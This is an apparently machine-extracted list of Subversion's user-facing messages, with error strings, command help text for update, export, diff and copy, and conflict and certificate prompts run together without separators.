 - The certificate is not yet valid.
 ARG done.
 with no output. with output:
"%s": unknown command.

%b %d  %Y%b %d %H:%M%s	(revision %ld)%s	(working copy)%s blocked by %s hook (exit code %d)%s hook failed (exit code %d)%s of '%s'%s of '%s': %d %s (%s://%s)%s, version %s
   compiled %s, %s

%s:  (Not a valid URL)

%s:  (Not a versioned resource)

%sProperty changes on: %s%s%swarning: %s
'%s'
is not the same repository as
'%s''%s' already exists'%s' already exists and is in the way'%s' already exists and is not a directory'%s' contains invalid filesystem format option '%s''%s' does not appear to be a URL'%s' does not appear to be a working copy path'%s' does not define '%s()''%s' does not exist'%s' does not exist in revision %ld'%s' does not have a URL associated with it'%s' ends in a reserved name'%s' exists and is non-empty'%s' exists and is not a directory'%s' has an unrecognized node kind'%s' has local modifications'%s' has lock token, but no lock owner'%s' has no URL'%s' has no ancestry information'%s' hook failed (did not exit cleanly: apr_exit_why_e was %d, exitcode was %d).  '%s' hook succeeded, but error output could not be read'%s' in revision %ld is an unrelated object'%s' is a URL when it should be a path
'%s' is a URL, but URLs cannot be commit targets'%s' is a URL, probably should be a path'%s' is a directory, and thus cannot be a member of a changelist'%s' is a reserved name and cannot be imported'%s' is a wcprop, thus not accessible to clients'%s' is already a working copy for a different URL'%s' is already under version control'%s' is an URL when it should be a path'%s' is in the way of the resource actually under version control'%s' is marked as absent, so it cannot be scheduled for addition'%s' is neither a file nor a directory name'%s' is not a URL'%s' is not a directory'%s' is not a directory in filesystem '%s''%s' is not a file'%s' is not a file in filesystem '%s''%s' is not a file in revision %ld'%s' is not a file or directory'%s' is not a valid --accept value'%s' is not a valid --show-revs value'%s' is not a valid EOL value'%s' is not a valid Subversion property name'%s' is not a valid administrative directory name'%s' is not a valid depth; try 'empty', 'files', 'immediates', or 'infinity''%s' is not a valid revision range'%s' is not a working copy'%s' is not a working copy directory'%s' is not locked'%s' is not locked in the repository'%s' is not locked in this working copy'%s' is not the root of the repository'%s' is not under version control'%s' is not under version control and is not part of the commit, yet its child '%s' is part of the commit'%s' is scheduled for addition within unversioned parent'%s' is scheduled for addition, but is missing'%s' isn't in the same repository as '%s''%s' locked by user '%s'.
'%s' must be from the same repository as '%s''%s' not found'%s' not found in filesystem'%s' not versioned, and not exported
'%s' path not found'%s' refers to a directory'%s' returned %d'%s' to '%s' is not a valid relocation'%s' unlocked.
'%s' was not found in the repository at revision %ld'%s' was not present on the baseline resource'%s' was not present on the resource'%s@%ld' must be ancestrally related to '%s@%ld''--new' option only valid with '--old' option'--xml' option only valid with '--summarize' option'DAV:baseline-collection' was not present on the baseline resource'get-file-revs' REPORT not implemented'get-file-revs' not implemented'get-location-segments' REPORT not implemented'get-location-segments' not implemented'get-locations' REPORT not implemented'get-locations' not implemented'incremental' option only valid in XML mode'stat' not implemented'verbose' option invalid in XML mode'with-all-revprops' option only valid in XML mode'with-revprop' option only valid in XML mode(Binary files differ)

(R)eject or accept (t)emporarily? (R)eject, accept (t)emporarily or accept (p)ermanently? (invalid date)(local)(no author)(no date)(s) show all options: * Dumped revision %ld.
* Verified revision %ld.
,
        (mc) mine-conflict, (tc) theirs-conflict,
        (mf) mine-full, (tf) theirs-full, (df) diff-full, (e) edit, (r) resolved--- Merging (from foreign repository) r%ld into '%s':
--- Merging (from foreign repository) r%ld through r%ld into '%s':
--- Merging differences between foreign repository URLs into '%s':
--- Merging differences between repository URLs into '%s':
--- Merging r%ld into '%s':
--- Merging r%ld through r%ld into '%s':
--- Reverse-merging (from foreign repository) r%ld into '%s':
--- Reverse-merging (from foreign repository) r%ld through r%ld into '%s':
--- Reverse-merging r%ld into '%s':
--- Reverse-merging r%ld through r%ld into '%s':
-----------------------------------------------------------------------
ATTENTION!  Your password for authentication realm:

   %s

can only be stored to disk unencrypted!  You are advised to configure
your system so that Subversion can store passwords encrypted, if
possible.  See the documentation for details.

You can avoid future appearances of this warning by setting the value
of the 'store-plaintext-passwords' option to either 'yes' or 'no' in
'%s'.
-----------------------------------------------------------------------
--This line, and those below, will be ignored----accept=%s incompatible with --non-interactive--auto-props and --no-auto-props are mutually exclusive--depth and --set-depth are mutually exclusive--depth cannot be used with --reintegrate--encoding option applies only to textual Subversion-controlled properties--force cannot be used with --reintegrate--reintegrate cannot be used with --ignore-ancestry--reintegrate cannot be used with --ignore-ancestry or --record-only--reintegrate cannot be used with --record-only--relocate and --depth are mutually exclusive-r and -c can't be used with --reintegrate.merge-left.r%ld.merge-right.r%ld.working; run 'svn update' to complete it<<< Started new transaction, based on original revision %ld
<delta-pkg> is missing ancestryA MERGE response for '%s' is not a child of the destination ('%s')A checksum mismatch occurredA conflict in the working copy obstructs the current operationA log message was given where none was necessaryA path under version control is needed for this operationA problem occurred; see other errors for detailsA report cannot be generated because no data was suppliedA repository hook failedA representation vanished or changed between readsA working copy merge source needs an explicit revisionARG (some commands also take ARG1:ARG2 range)
                             A revision argument can be one of:
                                NUMBER       revision number
                                '{' DATE '}' revision at start of the date
                                'HEAD'       latest in repository
                                'BASE'       base rev of item's working copy
                                'COMMITTED'  last commit at or before BASE
                                'PREV'       revision just before COMMITTEDAborting commit: '%s' remains in conflictAccess scheme mixtures not yet supported ('%s' and '%s')Activity not foundAddedAdded: %s
Added: %s%sAdding         %s
Adding  (bin)  %s
Adding a directory failed: %s on %s (%d)All authentication providers exhaustedAll non-relative targets must have the same root URLApache got a malformed URIApache has no path to an SVN filesystemApply-textdelta already activeApply-textdelta not activeAre all the targets part of the same working copy?Argument to --limit must be positiveAssociate (or dissociate) changelist CLNAME with the named files.
usage: 1. changelist CLNAME TARGET...
       2. changelist --remove TARGET...
At least one property change failed; repository is unchangedAt least one revision (r%ld) not yet merged from '%s'At least one revision must be non-local for a pegged diffAt revision %ld.
Attempt to change immutable filesystem nodeAttempt to deltify '%s' against itselfAttempt to fetch capability '%s' resulted in '%s'Attempt to pop empty WC unwind stackAttempt to remove or recreate fs root dirAttempt to set wc property '%s' on '%s' in a non-commit operationAttempt to unlock with non-empty unwind stackAttempted command in administrative dirAttempted merge tracking info change on immutable nodeAttempted mergeinfo count change on immutable nodeAttempted removal of immutable nodeAttempted to clone child of non-mutable nodeAttempted to create a node with an illegal name '%s'Attempted to create entry in non-directory parentAttempted to create entry that already existsAttempted to delete a node with an illegal name '%s'Attempted to delete entry '%s' from *non*-directory nodeAttempted to delete entry '%s' from immutable directory nodeAttempted to get checksum of a *non*-file nodeAttempted to get length of a *non*-file nodeAttempted to get textual contents of a *non*-file nodeAttempted to lock an already-locked dirAttempted to make a child clone with an illegal name '%s'Attempted to open node with an illegal name '%s'Attempted to open non-existent child node '%s'Attempted to set entry in immutable nodeAttempted to set entry in non-directory nodeAttempted to set textual contents of a *non*-file nodeAttempted to set textual contents of an immutable nodeAttempted to write to non-transactionAttempting restricted operation for modified resourceAttempting to commit to a URL more than onceAuthentication error from server: %sAuthentication failedAuthentication realm: %s
Author name cannot contain a newlineAuthorization failedBad ID in cacheBad URL passed to RA layerBad copyfrom arguments receivedBad database version: compiled with %d.%d.%d, running against %d.%d.%dBad database version: got %d.%d.%d, should be at least %d.%d.%dBad merge; ancestor, source, and target not all in same fsBad merge; target '%s' has id '%s', same as ancestorBad parent pool passed to svn_make_pool()Bad property nameBad property name: '%s'Base checksum mismatch on '%s':
   expected:  %s
     actual:  %s
Baseline incorrectBerkeley DB deadlock errorBerkeley DB errorBerkeley DB error for filesystem '%s' while %s:
Berkeley DB error for filesystem '%s' while closing environment:
Berkeley DB error for filesystem '%s' while creating environment:
Berkeley DB error for filesystem '%s' while opening environment:
Bogus ID '%s' in cacheBogus URLBogus UUIDBogus dateBogus filenameBogus mime-typeBogus revision information givenBogus revision reportBogus server specificationBring changes from the repository into the working copy.
usage: update [PATH...]

  If no revision is given, bring working copy up-to-date with HEAD rev.
  Else synchronize working copy to revision given by -r.

  For each updated item a line will start with a character reporting the
  action taken.  These characters have the following meaning:

    A  Added
    D  Deleted
    U  Updated
    C  Conflict
    G  Merged
    E  Existed

  A character in the first column signifies an update to the actual file,
  while updates to the file's properties are shown in the second column.
  A 'B' in the third column signifies that the lock for the file has
  been broken or stolen.

  If --force is used, unversioned obstructing paths in the working
  copy do not automatically cause a failure if the update attempts to
  add the same path.  If the obstructing path is the same type (file
  or directory) as the corresponding path in the repository it becomes
  versioned but its contents are left 'as-is' in the working copy.
  This means that an obstructing directory's unversioned children may
  also obstruct and become versioned.  For files, any content differences
  between the obstruction and the repository are treated like a local
  modification to the working copy.  All properties from the repository
  are applied to the obstructing path.  Obstructing paths are reported
  in the first column with code 'E'.

  Use the --set-depth option to set a new working copy depth on the
  targets of this operation.  Currently, the depth of a working copy
  directory can only be increased (telescoped more deeply); you cannot
  make a directory more shallow.
Can't accept client connectionCan't add '%s' to a parent directory scheduled for deletionCan't add '%s' to deleted directory; try undeleting its parent directory firstCan't allocate FS mutexCan't append '%s' to '%s'Can't bind server socketCan't calculate requested dateCan't calculate the request body sizeCan't change perms of file '%s'Can't change working directory to '%s'Can't check directory '%s'Can't check path '%s'Can't chmod '%s'Can't close directory '%s'Can't close file '%s'Can't close prototype revision lockfile for transaction '%s'Can't close streamCan't connect to host '%s'Can't convert module path to UTF-8 from UCS-2: '%s'Can't convert string from '%s' to '%s':Can't convert string from '%s' to native encoding:Can't convert string from native encoding to '%s':Can't convert string to UCS-2: '%s'Can't copy '%s' to '%s'Can't create FSFS txn list mutexCan't create FSFS txn-current mutexCan't create FSFS write-lock mutexCan't create a character converter from '%s' to '%s'Can't create a character converter from '%s' to native encodingCan't create a character converter from native encoding to '%s'Can't create cache mutexCan't create directory '%s'Can't create null stdout for hook '%s'Can't create pipe for hook '%s'Can't create process '%s' attributesCan't create server socketCan't create symbolic link '%s'Can't create threadCan't create threadattrCan't create tunnelCan't detect MIME type of non-file '%s'Can't determine the native path encodingCan't expand timeCan't fetch FSFS shared dataCan't find a temporary directoryCan't find a working copy pathCan't find an entryCan't find parent directory's entry while trying to add '%s'Can't flush file '%s'Can't flush file to diskCan't flush streamCan't get address infoCan't get attribute information from file '%s'Can't get attribute information from streamCan't get default file perms for file at '%s' (file stat error)Can't get entries of non-directoryCan't get exclusive lock on file '%s'Can't get file nameCan't get file perms for file at '%s' (file stat error)Can't get hostnameCan't get local hostnameCan't get module file nameCan't get passwordCan't get shared lock on file '%s'Can't get socket timeoutCan't get username or passwordCan't get working directoryCan't grab DSO mutexCan't grab FS mutexCan't grab FSFS mutex for '%s'Can't grab FSFS txn list mutexCan't hide directory '%s'Can't increment mergeinfo count on *file* node-revision %%s to %%%s (> 1)Can't increment mergeinfo count on node-revision %%s to negative value %%%sCan't lock cache mutexCan't lock charset translation mutexCan't make directory '%s'Can't make pipe read handle non-inherited for hook '%s'Can't make pipe write handle non-inherited for hook '%s'Can't manipulate current dateCan't move '%s' to '%s'Can't move source to destCan't open '%s'Can't open directory '%s'Can't open file '%s'Can't open file at '%s'Can't open stderrCan't open stdinCan't open stdio fileCan't open stdoutCan't parse lock/entries hashfile '%s'Can't read contents of linkCan't read directoryCan't read directory '%s'Can't read directory entry in '%s'Can't read file '%s'Can't read first line of format file '%s'Can't read from connectionCan't read length line in file '%s'Can't read length line in streamCan't read stdinCan't read streamCan't recode error string from APRCan't remove '%s'Can't remove directory '%s'Can't remove file '%s'Can't replace '%s' in deleted directory; try undeleting its parent directory firstCan't replace '%s' with a node of a differing type; the deletion must be committed and the parent updated before adding '%s'Can't restore working directoryCan't rewind directory '%s'Can't set access time of '%s'Can't set detached stateCan't set file '%s' read-onlyCan't set file '%s' read-writeCan't set permissions on '%s'Can't set position pointer in file '%s'Can't set position pointer in streamCan't set process '%s' child errfileCan't set process '%s' child errfile for error handlerCan't set process '%s' child inputCan't set process '%s' child outfileCan't set process '%s' cmdtypeCan't set process '%s' directoryCan't set process '%s' error handlerCan't set proplist on *immutable* node-revision %sCan't set text contents of a directoryCan't specify -c with --oldCan't start process '%s'Can't stat '%s'Can't store FSFS shared dataCan't tokenize command '%s'Can't ungrab DSO mutexCan't ungrab FS mutexCan't ungrab FSFS mutex for '%s'Can't ungrab FSFS txn list mutexCan't unlock cache mutexCan't unlock charset translation mutexCan't unlock nonlocked transaction '%s'Can't unlock prototype revision lockfile for transaction '%s'Can't unlock unknown transaction '%s'Can't write to '%s'Can't write to connectionCan't write to file '%s'Can't write to streamCannot calculate blame information for binary file '%s'Cannot change node kindCannot commit both '%s' and '%s' as they refer to the same URLCannot compare file contents between two different filesystemsCannot compare property value between two different filesystemsCannot copy between two different filesystems ('%s' and '%s')Cannot copy or move '%s': it is not in the repository yet; try committing firstCannot copy path '%s' into its own child '%s'Cannot copy revprops for a revision (%ld) that has not been synchronized yetCannot copy to '%s' as it is scheduled for deletionCannot copy to '%s', as it is not from repository '%s'; it is from '%s'Cannot determine revision of working copyCannot display: file marked as a binary type.%sCannot find a URL for '%s'Cannot initialize a repository with content in itCannot invoke editor to get log message when non-interactiveCannot mix repository and working copy sourcesCannot modify transaction named '%s' in filesystem '%s'Cannot move URL '%s' into itselfCannot move path '%s' into itselfCannot negotiate authentication mechanismCannot reintegrate into a working copy not entirely at infinite depthCannot reintegrate into a working copy that has local modificationsCannot reintegrate into a working copy with a switched subtreeCannot reintegrate into mixed-revision working copy; try updating firstCannot replace a directory from withinCannot reverse-merge a range from a path's own future history; try updating firstCannot revert '%s': unsupported entry node kindCannot revert '%s': unsupported node kind in working copyCannot revert addition of current directory; please try again from the parent directoryCannot set '%s' on a directory ('%s')Cannot set '%s' on a file ('%s')Cannot specify a revision range with two URLsCannot specify revision for deleting versioned property '%s'Cannot specify revision for editing versioned property '%s'Cannot specify revision for setting versioned property '%s'Cannot specify revisions (except HEAD) with move operationsCannot unlock path '%s', no authenticated username availableCannot use --username or --password with any of --source-username, --source-password, --sync-username, or --sync-password.
Cannot verify lock on path '%s'; no matching lock-token availableCannot verify lock on path '%s'; no username availableCannot write lock/entries hashfile '%s'Cannot write property hash for '%s'Cannot write to the prototype revision file of transaction '%s' because a previous representation is currently being written by another processCannot write to the prototype revision file of transaction '%s' because a previous representation is currently being written by this processCapability entry is not a wordCaught signalCease invocation of this APICertificate information:
 - Hostname: %s
 - Valid: from %s until %s
 - Issuer: %s
 - Fingerprint: %s
Changed paths:
Changed-path entry not a listChangelist doesn't matchChangelist: %s
Checked out external at revision %ld.
Checked out revision %ld.
Checkout complete.
Checksum mismatch for '%s':
   expected checksum:  %s
   actual checksum:    %s
Checksum mismatch for '%s'; expected: '%s', actual: '%s'Checksum mismatch for '%s'; recorded: '%s', actual: '%s'Checksum mismatch for resulting fulltext
(%s):
   expected checksum:  %s
   actual checksum:    %s
Checksum mismatch indicates corrupt text base: '%s'
   expected:  %s
     actual:  %s
Checksum mismatch on rep '%s':
   expected:  %s
     actual:  %s
Checksum mismatch while reading representation:
   expected:  %s
     actual:  %s
Checksum mismatch, file '%s':
   expected:  %s
     actual:  %s
Checksum mismatch, rep '%s':
   expected:  %s
     actual:  %s
Checksum: %s
Client certificate filename: Client/server version mismatchCommand 'finish-replay' invalid outside of replaysCommitCommit an unversioned file or tree into the repository.
usage: import [PATH] URL

  Recursively commit a copy of PATH to URL.
  If PATH is omitted '.' is assumed.
  Parent directories are created as necessary in the repository.
  If PATH is a directory, the contents of the directory are added
  directly under URL.
  Unversionable items such as device files and pipes are ignored
  if --force is specified.
Commit created rev %ld but should have created %ldCommit failed (details follow):Commit item '%s' has copy flag but an invalid revisionCommit item '%s' has copy flag but no copyfrom URLCommit succeeded, but other errors follow:Commit succeeded, but post-commit hook failedCommitted revision %ld.
Committing in directory scheduled for additionCompression of svndiff data failedConfig error: invalid integer value '%s'Config error: invalid value '%s' for option '%s'Conflict Current Base File: %s
Conflict Previous Base File: %s
Conflict Previous Working File: %s
Conflict Properties File: %s
Conflict at '%s'Conflict callback violated API: returned no merged fileConflict callback violated API: returned no merged file.Conflict callback violated API: returned no resultsConflict callback violated API: returned no results.Conflict discovered in '%s'.
Conflict discovered when trying to add '%s'.
An object of the same name already exists.
Conflict for property '%s' discovered on '%s'.
Conflict resolution failedCopied From Rev: %ld
Copied From URL: %s
Copied properties for revision %ld (%s* properties skipped).
Copied properties for revision %ld.
Copied: %s (from rev %ld, %s)
Copy from mutable tree not currently supportedCopy source checksum mismatch on copy from '%s'@%ld
 to '%s' in rev based on r%ld:
   expected:  %s
     actual:  %s
Copyfrom-url '%s' has different repository root than '%s'Copying from transactions not allowedCorrupt DB: faulty predecessor countCorrupt DB: initial copy id not '0' in filesystem '%s'Corrupt DB: initial revision number is not '0' in filesystem '%s'Corrupt DB: initial transaction id not '0' in filesystem '%s'Corrupt current fileCorrupt entry in 'copies' table for '%s' in filesystem '%s'Corrupt entry in 'transactions' table for '%s' in filesystem '%s'Corrupt filesystem revision %ld in filesystem '%s'Corrupt lock in 'locks' table for '%s' in filesystem '%s'Corrupt lockfile for path '%s' in filesystem '%s'Corrupt node-id in node-revCorruption detected whilst reading delta chain from representation '%s' to '%s'Could not create top-level directoryCould not fetch the Version Resource URL (needed during an import or when it is missing from the local, cached props)Could not find end of line in range list line in '%s'Could not get content-type from responseCould not initialize the SASL libraryCould not lookup hostname `%s'Could not obtain the list of SASL mechanismsCould not parse mergeinfo string '%s'Could not save fileCould not save the URL of the version resourceCould not use external editor to fetch log message; consider setting the $SVN_EDITOR environment variable or using the --message (-m) or --file (-F) optionsCould not write svndiff to temp fileCouldn't determine absolute path of '%s'Couldn't do property mergeCouldn't find a repositoryCouldn't obtain the authenticated usernameCouldn't open a repositoryCouldn't open logCreate a new directory under version control.
usage: 1. mkdir PATH...
       2. mkdir URL...

  Create version controlled directories.

  1. Each directory specified by a working copy PATH is created locally
    and scheduled for addition upon the next commit.

  2. Each directory specified by a URL is created in the repository via
    an immediate commit.

  In both cases, all the intermediate directories must already exist,
  unless the --parents option is given.
Create an unversioned copy of a tree.
usage: 1. export [-r REV] URL[@PEGREV] [PATH]
       2. export [-r REV] PATH1[@PEGREV] [PATH2]

  1. Exports a clean directory tree from the repository specified by
     URL, at revision REV if it is given, otherwise at HEAD, into
     PATH. If PATH is omitted, the last component of the URL is used
     for the local directory name.

  2. Exports a clean directory tree from the working copy specified by
     PATH1, at revision REV if it is given, otherwise at WORKING, into
     PATH2.  If PATH2 is omitted, the last component of the PATH1 is used
     for the local directory name. If REV is not specified, all local
     changes will be preserved.  Files not under version control will
     not be copied.

  If specified, PEGREV determines in which revision the target is first
  looked up.
Created: %s
Creating DAV sandbox dirCreating authz fileCreating conf directoryCreating db lock fileCreating db logs lock fileCreating hook directoryCreating lock dirCreating passwd fileCreating post-commit hookCreating post-revprop-change hookCreating pre-commit hookCreating pre-revprop-change hookCreating start-commit hookCreating svnserve.conf fileCredential data unavailableCredentials not savedDAV request failed; it's possible that the repository's pre-revprop-change hook either failed or is non-existentData cannot be safely XML-escapedDecompression of svndiff data failedDefault entry has no revision numberDefault entry is missing URLDefault: '-u'. When Subversion is invoking an
                             external diff program, ARG is simply passed along
                             to the program. But when Subversion is using its
                             default internal diff implementation, or when
                             Subversion is displaying blame annotations, ARG
                             could be any of the following:
                                -u (--unified):
                                   Output 3 lines of unified context.
                                -b (--ignore-space-change):
                                   Ignore changes in the amount of white space.
                                -w (--ignore-all-space):
                                   Ignore all white space.
                                --ignore-eol-style:
                                   Ignore changes in EOL styleDefault: '-u'. When Subversion is invoking an
                             external diff program, ARG is simply passed along
                             to the program. But when Subversion is using its
                             default internal diff implementation, or when
                             Subversion is displaying blame annotations, ARG
                             could be any of the following:
                                -u (--unified):
                                   Output 3 lines of unified context.
                                -b (--ignore-space-change):
                                   Ignore changes in the amount of white space.
                                -w (--ignore-all-space):
                                   Ignore all white space.
                                --ignore-eol-style:
                                   Ignore changes in EOL style.
                                -p (--show-c-function):
                                   Show C function name in diff output.Delete failed: directory has no entry '%s'DeletedDeleted: %s
Deleted: %s%sDeleting       %s
Delta depth 'exclude' not supportedDelta does not contain enough new dataDelta does not fill the target windowDelta property block detected - not supported by svndumpfilterDeltifying revision %ld...Depth 'exclude' not supported for linkDepth: INVALID
Depth: empty
Depth: files
Depth: immediates
Describe the usage of this program or its subcommands.
usage: help [SUBCOMMAND...]
Describe the usage of this program or its subcommands.
usage: svndumpfilter help [SUBCOMMAND...]
Destination '%s' already existsDestination '%s' is not a directoryDestination HEAD (%ld) is not the last merged revision (%ld); have you committed to the destination without using svnsync?Destination URLs are brokenDestination directory exists, and will not be overwritten unless forcedDestination directory exists; please remove the directory or use --force to overwriteDestination directory of add-with-history is missing a URLDestination repository has not been initializedDestination repository is already synchronizing from '%s'Did not expect '%s' to be a working copy rootDidn't receive end marker for lock responsesDidn't receive end marker for unlock responsesDiff data source modified unexpectedlyDiff version inconsistencies in representation '%s'Directory '%s' containing working copy admin area is missingDirectory '%s' has no THIS_DIR entryDirectory '%s' has no URLDirectory '%s' is missingDirectory '%s' is out of dateDirectory '%s' is out of date; try updatingDirectory entry corruptDirectory needs to be empty but is notDirlist element not a listDisabled repository featureDisplay information about a local or remote item.
usage: info [TARGET[@REV]...]

  Print information about each TARGET (default: '.').
  TARGET may be either a working-copy path or URL.  If specified, REV
  determines in which revision the target is first looked up.
Display the differences between two revisions or paths.
usage: 1. diff [-c M | -r N[:M]] [TARGET[@REV]...]
       2. diff [-r N[:M]] --old=OLD-TGT[@OLDREV] [--new=NEW-TGT[@NEWREV]] \
               [PATH...]
       3. diff OLD-URL[@OLDREV] NEW-URL[@NEWREV]

  1. Display the changes made to TARGETs as they are seen in REV between
     two revisions.  TARGETs may be all working copy paths or all URLs.
     If TARGETs are working copy paths, N defaults to BASE and M to the
     working copy; if URLs, N must be specified and M defaults to HEAD.
     The '-c M' option is equivalent to '-r N:M' where N = M-1.
     Using '-c -M' does the reverse: '-r M:N' where N = M-1.

  2. Display the differences between OLD-TGT as it was seen in OLDREV and
     NEW-TGT as it was seen in NEWREV.  PATHs, if given, are relative to
     OLD-TGT and NEW-TGT and restrict the output to differences for those
     paths.  OLD-TGT and NEW-TGT may be working copy paths or URL[@REV].
     NEW-TGT defaults to OLD-TGT if not specified.  -r N makes OLDREV default
     to N, -r N:M makes OLDREV default to N and NEWREV default to M.

  3. Shorthand for 'svn diff --old=OLD-URL[@OLDREV] --new=NEW-URL[@NEWREV]'

  Use just 'svn diff' to display local modifications in a working copy.
Do not display filtering statistics.Don't filter revision properties.Don't know anything about capability '%s'Don't know how to handle '%s' for capability '%s'Dump stream contains a malformed header (with no ':') at '%.20s'Dump stream contains a malformed header (with no value) at '%.20s'Dumpstream data appears to be malformedDuplicate something in working copy or repository, remembering
history.
usage: copy SRC[@REV]... DST

When copying multiple sources, they will be added as children of DST,
which must be a directory.

  SRC and DST can each be either a working copy (WC) path or URL:
    WC  -> WC:   copy and schedule for addition (with history)
    WC  -> URL:  immediately commit a copy of WC to URL
    URL -> WC:   check out URL into WC, schedule for addition
    URL -> URL:  complete server-side copy;  used to branch and tag
  All the SRCs must be of the same type.

WARNING: For compatibility with previous versions of Subversion,
copies performed using two working copy paths (WC -> WC) will not
contact the repository.  As such, they may not, by default, be able
to propagate merge tracking information from the source of the copy
to the destination.
Edit a property with an external editor.
usage: 1. propedit PROPNAME TARGET...
       2. propedit PROPNAME --revprop -r REV [TARGET]

  1. Edits versioned prop in working copy or repository.
  2. Edits unversioned remote prop on repos revision.
     TARGET only determines which repository to access.

See 'svn help propset' for more on setting properties.
Either a URL or versioned item is requiredEmpty error listEmpty noderev in cacheEnd revision %ld is invalid (youngest revision is %ld)Entry '%s' has illegal scheduleEntry '%s' has invalid '%s' valueEntry '%s' has invalid node kindEntry '%s' has no URLEntry '%s' has unexpectedly changed special statusEntry '%s' is already under version controlEntry already existsEntry contains non-canonical path '%s'Entry for '%s' exists (though the working file is missing)Entry for '%s' has invalid repository rootEntry for '%s' has no URLEntry for '%s' is marked as 'copied' but is not itself scheduled
for addition.  Perhaps you're committing a target that is
inside an unversioned (or not-yet-versioned) directory?Entry has an invalid attributeEntry has no URLEntry has no revisionError aborting reportError at entry %d in entries file for '%s':Error bumping revisions post-commit (details follow):Error calling external programError closing directory '%s'Error closing filesystemError closing null fileError closing read end of stderr pipeError closing write end of stderr pipeError comparing '%s' and '%s'Error copying logfile;  the DB_LOG_AUTOREMOVE feature
may be interfering with the hotcopy algorithm.  If
the problem persists, try deactivating this feature
in DB_CONFIGError during add of '%s'Error during recursive copy of '%s'Error getting 'affected time' for '%s'Error getting 'affected time' of '%s'Error getting 'affected time' on '%s'Error getting UID of processError getting file size on '%s'Error in child process: %sError in post-commit clean-up (details follow):Error initializing command line argumentsError modifying entry for '%s'Error modifying entry of '%s'Error normalizing edited contents to internal formatError normalizing log message to internal formatError opening db lockfileError parsing %s property on '%s': '%s'Error parsing '%s'Error parsing argumentsError parsing diff optionsError parsing memcache server '%s'Error parsing revision numberError processing command '%s' in '%s'Error reading changes for key '%s'Error reading spooled %s request responseError removing changelist from entry '%s'Error removing lock from entry for '%s'Error replacing text-base of '%s'Error resolving case of '%s'Error restoring text for '%s'Error retrieving REPORT (%d)Error retrieving replay REPORT (%d)Error running '%s':  exitcode was %d, args were:
in directory '%s', basenames:
%s
%s
%sError running catastrophic recovery on hotcopy;  the
DB_LOG_AUTOREMOVE feature may be interfering with the
hotcopy algorithm.  If the problem persists, try deactivating
this feature in DB_CONFIGError running editor.Error running editor; leaving all conflicts.Error running merge tool.Error running merge tool; leaving all conflicts.Error running post-commit hookError running post-lock hookError running post-unlock hookError setting property '%s': Error unlocking locked dirs (details follow):Error validating server certificate for '%s':
Error waiting for process '%s'Error writing entries file for '%s'Error writing hash to '%s'Error writing log for '%s'Error writing stream: unexpected EOFError writing to '%s'Error writing to '%s': unexpected EOFExactly one file argument requiredExactly one property name and one file argument requiredExcluding (and dropping empty revisions for) prefixes:
Excluding prefixes:
Expected '%s' to be a directory but found a fileExpected '%s' to be a file but found a directoryExpected 'revprops', found '%s'Expected FS format '%d'; found format '%d'Expected FS format between '1' and '%d'; found format '%d'Expected a valid revnum and pathExpected current rev to be <= %ld but found %ldExpected repository format '%d' or '%d'; found format '%d'Expected valid revision rangeExpires: %s
Explicit target argument requiredExplicit target required ('%s' interpreted as prop value)Export complete.
Exported external at revision %ld.
Exported revision %ld.
External at revision %ld.
External checkout complete.
External export complete.
External update complete.
Failed to add directory '%s': a non-directory object of the same name already existsFailed to add directory '%s': a versioned directory of the same name already existsFailed to add directory '%s': an unversioned directory of the same name already existsFailed to add directory '%s': copyfrom arguments not yet supportedFailed to add directory '%s': object of the same name as the administrative directoryFailed to add file '%s': a non-file object of the same name already existsFailed to calculate MD5 digest for '%s'Failed to connect to Service Control ManagerFailed to create winservice_start_eventFailed to delete mmap '%s'Failed to execute WebDAV PROPPATCHFailed to fetch lock informationFailed to find label '%s' for URL '%s'Failed to find time on revision %ldFailed to get exclusive repository access; perhaps another process
such as httpd, svnserve or svn has it open?Failed to get lock on destination repos, currently held by '%s'
Failed to get new string keyFailed to load module for FS type '%s'Failed to load properties from diskFailed to locate 'copyfrom' path in working copyFailed to mark '%s' absent: item of the same name is already scheduled for additionFailed to parse URI '%s'Failed to revert '%s' -- try updating instead.
Failed to run '%s' hook; broken symlinkFailed to start '%s' hookFailed to write full amount to streamFailed writing updated fileFailure loading pluginFailure opening '%s'Failure reading rep '%s'File '%s' already existsFile '%s' has binary mime type propertyFile '%s' has inconsistent newlinesFile '%s' has local modificationsFile '%s' in directory '%s' is not a versioned resourceFile '%s' is out of dateFile '%s' is out of date; try updatingFile already exists: filesystem '%s', revision %ld, path '%s'File already exists: filesystem '%s', transaction '%s', path '%s'File is not mutable: filesystem '%s', revision %ld, path '%s'File not found: revision %ld, path '%s'File not found: transaction '%s', path '%s'File or directory '%s' is out of date; try updatingFilesystem directory has no such entryFilesystem has no itemFilesystem has no such copyFilesystem has no such lockFilesystem has no such node origin recordFilesystem has no such node-rev-idFilesystem has no such representationFilesystem has no such stringFilesystem is already openFilesystem is corruptFilesystem is not openFilesystem object already openFilesystem object has not been opened yetFilesystem path '%s' is neither a file nor a directoryFilesystem upgrade is not supportedFilter out nodes with given prefixes from dumpstream.
usage: svndumpfilter exclude PATH_PREFIX...
Filter out nodes without given prefixes from dumpstream.
usage: svndumpfilter include PATH_PREFIX...
Final line in revision file longer than 64 charactersFinal line in revision file missing spaceFirst line of '%s' contains non-digitFirst revision cannot be higher than secondFormat file '%s' contains an unexpected non-digitFormat of an svn:externals property was invalidFound a working copy pathFound malformed header in revision fileFraming error in pipe protocolGET request failed: %d %sGeneral filesystem errorGot apply-textdelta element without preceding add-file or open-fileGot cdata content for a prop deleteGot close-directory element without ever opening a directoryGot close-file element without preceding add-file or open-fileGot source path but no source revision for '%s'Got unrecognized encoding '%s'HTTP Path Not FoundIllegal repository URL '%s'Illegal svn repository URL '%s'Illegal target for the requested operationImpossibly long repository root from serverImproper relative URL '%s'In directory '%s'Including (and dropping empty revisions for) prefixes:
Including prefixes:
